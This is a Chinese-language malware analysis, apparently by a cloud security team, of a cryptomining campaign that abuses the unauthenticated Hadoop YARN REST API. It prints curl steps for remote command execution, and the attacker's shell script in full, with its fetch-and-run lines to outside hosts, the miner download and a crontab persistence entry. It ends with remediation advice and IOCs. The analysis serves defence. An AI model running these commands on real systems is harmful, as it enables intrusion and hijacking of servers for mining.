一、 背景

5月5日腾讯云安全团队曾针对攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击,攻击者可以在未授权的情况下远程执行代码的安全问题进行预警,在预警的前后我们曾多次捕获相关的攻击案例,其中就包含利用该问题进行挖矿,我们针对其中一个案例进行分析并提供响应的安全建议和解决方案。

二、 漏洞说明

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令。

YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行,从而进行挖矿等行为。

攻击步骤:

  1. 申请新的application

直接通过curl进行POST请求

1
curl -v -X POST 'http://ip:8088/ws/v1/cluster/apps/new-application'

返回内容类似于:

1
{"application-id":"application_1527144634877_20465","maximum-resource-capability":{"memory":16384,"vCores":8}}
  1. 构造提交任务

构造json文件1.json,内容如下,其中application-id对应上面得到的id,命令内容为尝试在/var/tmp目录下创建11112222_test_111122222文件,内容也为111

1
2
3
4
5
6
7
8
9
10
11
{
"am-container-spec":{
"commands":{
"command":"echo '111' > /var/tmp/11112222_test_11112222"

}
},
"application-id":"application_1527144634877_20465",
"application-name":"test",
"application-type":"YARN"
}

然后直接

1
curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' http://ip:8088/ws/v1/cluster/apps --data-binary @1.json

即可完成攻击,命令被执行,在相应目录下可以看到生成了对应文件

更多漏洞详情可以参考 http://bbs.qcloud.com/thread-50090-1-1.html

三、入侵分析

在本次分析的案例中,受害机器部署有Hadoop YARN,并且存在未授权访问的安全问题,黑客直接利用开放在8088的REST API提交执行命令,来实现在服务器内下载执行.sh脚本,从而再进一步下载启动挖矿程序达到挖矿的目的。

整个利用过程相对比较简单,通过捕捉Hadoop 的launch_container.sh执行脚本,我们可以看到其中一个案例中相关任务执行的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

export LOCAL_DIRS="/root/hadoop/tmp/nm-local-dir/usercache/dr.who/appcache/application_1527144634877_20417"
export APPLICATION_WEB_PROXY_BASE="/proxy/application_1527144634877_20417"
...这里省略部分内容
export CONTAINER_ID="container_1527144634877_20417_02_000001"
export MALLOC_ARENA_MAX="4"
exec /bin/bash -c "curl 185.222.210.59/x_wcr.sh | sh & disown"
hadoop_shell_errorcode=$?
if [ $hadoop_shell_errorcode -ne 0 ]
then
exit $hadoop_shell_errorcode
fi

可以很明显的看到第8行位置,从185.222.210.59下载并执行了一个名为x_wcr.sh的脚本。

在实际过程中,我们从多个案例捕获了多个比如名为cr.sh的不同脚本,但实际的功能代码都差不多,我们对其中一个x_wcr.sh脚本进行分析,代码自上而下内容:

1
2
3
4
5
6
7
8
9
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9
rm -rf /var/tmp/pscf*
rm -rf /tmp/pscf*

这部分代码主要针对已存在的挖矿进程、文件进行清理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
DIR="/tmp"
if [ -a "/tmp/java" ]
then
if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]
then
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum /tmp/java | awk '{ print $1 }')
echo $sum
case $sum in
183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
;;
*)
echo "Java wrong"
pkill -f w.conf
sleep 4
;;
esac
fi
echo "P OK"
else
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
else
if [ -d "/var/tmp" ]
then
DIR="/var/tmp"
fi
echo "P NOT EXISTS"
fi

这部分的代码主要是判断如果/tmp/java是一个存在并且可写的文件,那么就判断其MD5值是否匹配,MD5不匹配则根据w.conf关键词查找并kill进程;如果非可写的文件,则重新赋值DIR变量,这个变量主要用于后面部分代码中下载挖矿等程序存放目录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if [ -d "/tmp/java" ]
then
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget -O";
fi
f2="185.222.210.59"

然后接着是一些变量的赋值,包括再次判断如果/tmp/java是一个目录,则重新赋值DIR变量;判断curl和wget命令是否存在,存在则赋值到WGET变量;f2则是赋值为某个IP,实则为是后续下载相关文件的服务器之一。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
downloadIfNeed
chmod +x $DIR/java
$WGET $DIR/w.conf http://$f2/w.conf
nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &
sleep 5
rm -rf $DIR/w.conf
else
echo "Running"
fi
if crontab -l | grep -q "185.222.210.59"
then
echo "Cron exists"
else
echo "Cron not found"
LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
LDR="wget -q -O -";
fi
(crontab -l 2>/dev/null; echo "* * * * * $LDR http://185.222.210.59/cr.sh | sh > /dev/null 2>&1")| crontab -
fi

这部分代码是其中比较核心的代码,通过downloadIfNeed方法下载挖矿程序到$DIR目录下并重命名为java,下载w.conf配置文件,给挖矿程序增加执行权限,然后以nohup命令后台运行挖矿程序并删除配置文件;接着检查crontab中的任务,如果不存在对应的任务,就将下载执行脚本的任务* * * * * $LDR http://185.222.210.59/cr.sh | sh > /dev/null 2>&1添加到其中,这里$LDRwget -q -O -或者curl,任务每分钟执行一次。

脚本中还包含了几个嵌套调用的download方法,入口方法是downloadIfNeed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
downloadIfNeed()
{
if [ -x "$(command -v md5sum)" ]
then
if [ ! -f $DIR/java ]; then
echo "File not found!"
download
fi
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
;;
*)
echo "Java wrong"
sizeBefore=$(du $DIR/java)
if [ -s /usr/bin/curl ];
then
WGET="curl -k -o ";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget --no-check-certificate -O ";
fi
echo "" > $DIR/tmp.txt
rm -rf $DIR/java
download

if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/java $DIR/ppc
;;
*)
$WGET $DIR/java https://transfer.sh/WoGXx/zzz > $DIR/tmp.txt 2>&1
echo "Java wrong"
sum=$(md5sum $DIR/java | awk '{ print $1 }')
case $sum in
183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/java $DIR/ppc
;;
*)
echo "Java wrong2"
;;
esac
;;
esac
else
echo "No md5sum"
fi

sumAfter=$(md5sum $DIR/java | awk '{ print $1 }')
if [ -s /usr/bin/curl ];
then
echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/java` >> $DIR/tmp.txt
curl -F "file=@$DIR/tmp.txt" http://$f2/re.php
fi
;;
esac
else
echo "No md5sum"
download
fi
}

这个方法的核心功能还是校验已存在的挖矿程序的MD5,如果无法验证或者文件不存在的情况,则直接调用download方法下载挖矿程序;如果文件存在但MD5匹配不正确,则调用download方法后再次验证,验证失败则尝试从另外一个下载渠道https://transfer.sh/WoGXx/zzz下载挖矿程序并再次验证。最后还将相关结果上报到目标服务器$f2re.php.

tmp.txt内容示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
download() {
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/ppc | awk '{ print $1 }')
echo $sum
case $sum in
183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/ppc $DIR/java
;;
*)
echo "Java wrong"
download2
;;
esac
else
echo "No md5sum"
download2
fi
}

download方法判断ppc文件的存在与否和 MD5是否匹配,如果不存在或MD5不匹配则调用download2下载,如果存在则复制重名为java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
download2() {
f1=$(curl 185.222.210.59/g.php)
if [ -z "$f1" ];
then
f1=$(wget -q -O - 185.222.210.59/g.php)
fi

if [ `getconf LONG_BIT` = "64" ]
then
$WGET $DIR/java http://$f1/xm64?$RANDOM
else
$WGET $DIR/java http://$f1/xm32?$RANDOM
fi

if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/java $DIR/ppc
;;
*)
echo "Java wrong"
;;
esac
else
echo "No md5sum"
fi
}

download2方法则判断系统下载对应版本的挖矿程序,其中http://185.222.210.59/g.php返回的是另外一个IP地址;下载成功后则再次验证,并复制重命名为ppc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pkill -f logo4.jpg
pkill -f logo0.jpg
pkill -f logo9.jpg
pkill -f jvs
pkill -f javs
pkill -f 192.99.142.248
rm -rf /tmp/pscd*
rm -rf /var/tmp/pscd*
crontab -l | sed '/192.99.142.232/d' | crontab -
crontab -l | sed '/192.99.142.226/d' | crontab -
crontab -l | sed '/192.99.142.248/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -

在脚本的最后部分还有一些进程、文件、crontab清理的处理,用pkill删除满足条件的进程,删除tmp目录下pscd开头的文件,以及说删除crontab中存在某些关键词的任务。

至此,我们完成整个脚本的分析,虽然整个脚本比较冗长,而且似乎各个函数嵌套调用,涉及文件也众多,但其实整体就做了以下几件事:

  1. 清理相关的进程、文件和crontab任务
  2. 判断并下载挖矿程序,同时校验MD5值,除了黑客自己控制的服务器,还利用https://transfer.sh提供备用下载,多种方式保障
  3. 增加脚本下载执行任务添加到crontab里

其实,我们通过查看YARN的日志文件yarn-root-nodemanager-master.hadoop.log也可能看到相应的痕迹:

或者我们通过管理UI查看application详情:

而crontab的任务日志也能看到相关的执行记录:

最终在/var/tmp目录下也能找到相关的文件

四、安全建议

清理病毒
  1. 使用top查看进程,kill掉异常进程
  2. 检查/tmp和/var/tmp目录,删除java、ppc、w.conf等异常文件
  3. 检查crontab任务列表,删除异常任务
  4. 排查YARN日志,确认异常的application,删除处理
安全加固
  1. 通过iptables或者安全组配置访问策略,限制对8088等端口的访问
  2. 如无必要,不要将接口开放在公网,改为本地或者内网调用
  3. 升级Hadoop到2.x版本以上,并启用Kerberos认证功能,禁止匿名访问
  4. 云镜当前已支持该漏洞检测,同时也支持挖矿木马的发现,建议安装云镜并开通专业版,及时发现漏洞并修复或者在中马后能及时收到提醒进行止损
  5. 更多自检和修复建议可以参考 http://bbs.qcloud.com/thread-50090-1-1.html

五、IOCs

  • 钱包地址

    • 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
  • MD5

    • c8c1f2da51fbd0aea60e11a81236c9dc
    • 183664ceb9c4d7179d5345249f1ee0c4
    • b00f4bbd82d2f5ec7c8152625684f853
  • 矿池地址

    • 158.69.133.20:3333
    • 192.99.142.249:3333
    • 202.144.193.110:3333
    • 46.30.43.159:80
  • 部分相关URL

    • hxxp://185.222.210.59/x_wcr.sh
    • hxxp://185.222.210.59/re.php
    • hxxp://185.222.210.59/g.php
    • hxxp://185.222.210.59/w.conf
    • hxxp://185.222.210.59/cr.sh
    • hxxp://192.99.142.226:8220/w.conf
    • hxxp://192.99.142.226:8220/xm64
    • hxxp://192.99.142.226:8220/cr.sh
    • hxxp://95.142.40.83/xm64
    • hxxp://95.142.40.83/xm32
    • hxxps://transfer.sh/1o3Kj/zzz
    • hxxps://transfer.sh/wbl5H/pscf
    • hxxps://transfer.sh/WoGXx/zzz